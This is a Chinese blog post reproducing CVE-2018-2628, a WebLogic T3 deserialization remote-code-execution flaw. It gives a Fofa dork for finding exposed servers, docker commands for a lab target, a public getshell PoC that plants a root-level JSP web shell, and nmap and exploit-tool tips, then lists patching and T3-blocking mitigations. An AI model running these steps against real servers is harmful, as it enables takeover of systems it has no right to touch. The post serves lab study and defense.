CVE-2018-2628漏洞复现
程序员文章站
2022-07-15 15:06:47
...
1. 漏洞简介
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.
2. 影响组件
Weblogic
3. 漏洞指纹
Lcom.tangosol.util.extractor.ReflectionExtractor
…
4. Fofa Dork
protocol=="weblogic"
5. 漏洞分析
安装靶机环境
docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
下载poc
git clone https://github.com/jas502n/CVE-2018-2628.git
进入CVE-2018-2628目录执行getshell命令
python CVE-2018-2628-Getshell.py 192.168.20.128 7001 shell1.jsp
python CVE-2018-2628-Getshell.py ip port shell1.jsp
返回了一个url,tom参数就是我们要执行的命令,root权限
我们把id进行base64编号执行试试
6. 利用技巧
1.T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap
nmap -sV --script=weblogic-t3-info.nse -p 7001
2.内网使用最新的利用链即可, weblogic也支持TLS加密的t3s, 可以使用
Bort-Millipede/WLT3Serial: Native Java-based deserialization exploit for WebLogic T3 (and T3S) listeners.
https://github.com/Bort-Millipede/WLT3Serial
7. 防护方法
1.及时更新补丁
2.禁用T3协议
3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源
推荐阅读